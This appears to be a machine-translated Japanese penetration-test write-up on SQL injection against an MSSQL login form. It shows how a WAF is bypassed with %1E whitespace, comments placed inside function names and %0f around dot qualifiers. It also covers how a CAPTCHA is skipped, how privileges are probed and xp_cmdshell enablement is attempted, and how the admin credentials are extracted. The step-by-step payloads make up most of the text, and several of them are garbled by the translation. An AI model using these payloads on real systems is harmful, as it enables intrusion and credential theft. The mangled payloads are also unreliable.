タイトル：実用的なMSSQLインジェクションを使用してWAFをバイパスすることを忘れないでください

このテストは承認されたテストです。インジェクションポイントがバックグラウンドでログインするユーザー名はです

検証コードが存在し、検証はCookieを削除し、検証コードフィールド を削除することでバイパスできます。

単一の引用を追加し、エラーを報告します

および '1'='1

接続リセット——は、WAF によって傍受されます

ケースを変更して、スペースをMSSQLホワイトスペースに置き換えます[0x00-0x20]

％1と％1E'1 '=' 1

クエリデータベースバージョン、MSSQL 2012 X64

％1EOR％1E1=@@バージョン％1E--

現在のユーザーをクエリします

％1EOR％1E1=user％1E--

現在のユーザーがDBAおよびDB_OWNERであるかどうかをクエリします

; if（0=（select％1eis_srvrolemember（ 'sysadmin'）））waitfor％1edelay％1e'0:033605 '％1e--

; if（0=（select％1eis_srvrolemember（ 'db_owner'））））

どちらも遅延があり、現在のユーザーはDBAまたはDB_OWNER でもありません

XP_CMDSEHLLを実行してみてください。関連する権限はありません

; exec％1esp_configure％1e'show Advanced options '、1; reconfigure％1e-

; exec％1esp_configure％1e'xp_cmdshell '、1; reconfigure％1e-

現在のデータベースを照会し、接続リセット——はWAFによって傍受されます

％1EOR％1E1=（DB_NAME（）％1E）％1E--

関数名の文字を削除し、——WAFを返すことは通常、関数db_name（）をフィルターします。 MSSQLとMSQLには、次のようないくつかの同様の機能があります。関数名とブラケットには、コメントやWhitespace文字で満たすことができます。

％1EOR％1E1=（DB_NAME/**/（）％1E）％1E--

現在のデータベースのテーブルをクエリすると、接続リセット——はWAFによって傍受されます

％1EOR％1E1=（％1EINFORMATION_SCHEMA.TABLES％1E）％1E）from％1EOP％1E1％1ETABLE_NAME

選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コメントを使用してコンマをコメントアウトできます。

％1EOR％1E1=（SELECT/*USERNAME=*/％1EOP％1E1％

まだを傍受しました

Information_schema.tablesの文字を削除して、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました：「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子（ '。'など）は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 information_schem.tables -information_schem％0f。％0ftables

％1EOR％1E1=（SELECT/*USERNAME=*/％1EOP％1E1％

テーブル名は、not in（ 'table_1'、 'table_2' .）で通過できます。

手動注入はこの方法を使用するには遅すぎます、すべてのテーブル名を一度にクエリします

％1EOR％1E1=（SELECT/*USERNAME=*/％1 Equotename（name）％1Efrom Bak_ptfl％0f.Sysobjects％

テーブル名から判断すると、管理者のテーブルはappsadminである必要があり、テーブルのすべての列を一度にクエリする必要があります。

％1EOR％1E1=（SELECT/*USERNAME=*/％1 Equotename/**/（name）％1Efrom bak_ptfl％0f.syscolumns％1ewhere％1eid=（select/*username=*/％1eid％1efrom％1ebak_ptfl％0f.ssobjects％1ewhere％1ename='appsadmin'）％1efor％1exml％1epath

管理者のユーザー名とパスワードフィールドを取得します：adminname、パスワード。ユーザー名とパスワードをクエリします

％1EOR％1E1=（SELECT/*USERNAME=*/％1ETOP％1E1％1EADMINNAME％1EFROM％1EAPPSADMIN％1E）％1E-

％1EOR％1E1=（SELECT/*USERNAME=*/％1ETOP％1E1％1EPASSWORD％1EFROM％1EAPPSADMIN）％1E--

復号化後、バックグラウンドへのログインに正常にログインしました

要約

1。BPターゲットサイトのパケットキャプチャと、ターゲットシステムに検証コードがあることを発見しました

2.要求されたデータパケットのCookieパラメーターと値を削除し、検証コードパラメーターと値を削除します。

3.もう一度リクエストを行い、検証コードエラーを促す情報を見つけない

4.要求された投稿パケットのユーザー名に単一の引用符を追加して、エラーを報告する

username=amdin'password=admin

5。テストと「1」='1は表示できません。ターゲットシステムにはWAFがあります

username=amdin 'および' 1 '=' 1password=admin

6.キーワードのケースを変更し、スペースをMSSQLホワイトスパース（[0x00-0x20]）、つまり％1eに置き換えます。通常のエコーコンテンツを見ることができます

username=amdin '％1 andd％1e'1'='1password=admin

7.データベースバージョンをクエリします

username=amdin '％1EOR％1E1=@@ version％1e - password=admin

8。現在のユーザーをクエリします

username=amdin '％1EOR％1E1=user％1e - password=admin

9.現在のユーザーがDBAとDB_OWNERであるかどうかをクエリします。どちらも遅延があります。現在のユーザーはDBAでもDB_OWNERでもありません

username=amdin '; if（0=（select％1eis_srvrolemember（' sysadmin '）））waitfor％1edelay％1e'0:0:5'％1e - password=admin

username=amdin '; if（0=（select％1eis_srvrolemember（' db_owner '）））waitfor％1edelay％1e'0:0:5'％1e - password=admin

10.関連する権限なしでXP_CMDSEHLLを実行してみてください。

username=amdin '; exec％1ESP_CONFIGURE％1E'SHOW Advanced Options'、1; ReconFigure％1E - PassWord=admin

username=amdin '; exec％1esp_configure％1e'xp_cmdshell'、1; reconfigure％1e - password=admin

11.現在のデータベース名をクエリすると、接続リセット——がWAFによって傍受されます

username=amdin '％1eor％1e1=（db_name（）％1e）％1e - password=admin

12.wafは、db_name（）関数をインターセプトできます。ここでは、関数名と括弧を使用してコメント/** /またはwhitespace文字を入力して、現在のデータベース名を正常に取得できます。

username=amdin '％1eor％1e1=（db_name/**/（）％1e）％1e - password=admin

13.現在のデータベーステーブルを取得すると、接続リセット——がWAFによって傍受されます

username=amdin '％1EOR％1E1=（SELECT％1EOP％1E1％1ETABLE_NAME％1IENFORMATION_SCHEMA.TABLES％1E）％1E - PassWord=admin

14.選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コンマはコメントでコメントすることができますが、WAFによってまだ傍受されています。

username=amdin '％1EOR％1E1=（SELECT/*USERNAME=*/％1EOP％1E1％1ETABLE_NAME from％1einformation_schem.tables％1e）％1e - password=admin

15. information_schema.tablesの文字を削除し、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました：「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子（ '。'など）は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 Information_schema.Tables -Information_schema％0f。％0ftables、テーブル名を正常に取得します

username=amdin '％1EOR％1E1=（SELECT/*USERNAME=*/％1EOP％1E1％1ETABLE_NAME％1IENFORMATION_SCHEMA％0F。％0FTABLES％1E）

16.すべてのテーブル名を一度にクエリします

username=amdin '％1EOR％1E1=（select/*username=*/％1equotename（name）％1efrom bak_ptfl％0f.Sysobjects％1ewhere％1extype=' u 'for xml path（' '））％1E-password=admin

17。テーブル名から判断すると、管理者のテーブルはAppSadminであり、テーブルのすべての列を一度に照会する必要があります。

username=amdin '％1EOR％1E1=（SELECT/*USERNAME=*/％1 EquoTename/**/（name）％1Efrom bak_ptfl％0f.syscolumns％1ewhere％1eid=（select/*username=*/％1eid％1efrom％1ebak_ptfl％0f.ssobjects％1ewhere％1ename='appsadmin'）％1efor％1exml％1epath

18.管理者のユーザー名とパスワードフィールドを取得：adminname、パスワード。ユーザー名とパスワードをクエリします

username=amdin '％1EOR％1E1=（SELECT/*USERNAME=*/％1ETOP％1E1％1EADMINNAME％1EFROM％1EAPPSADMIN％1E）％1E - PassWord=admin

username=amdin '

％1EOR％1E1=（SELECT/*USERNAME=*/％1ETOP％1E1％1EPASSWORD％1EFROM％1EAPPSADMIN）％1E - PassWord=admin

20。ユーザー名のパスワードハッシュ値を復号化し、バックグラウンドに正常にログインします

オリジナルリンク：https://xz.aliyun.com/t/7487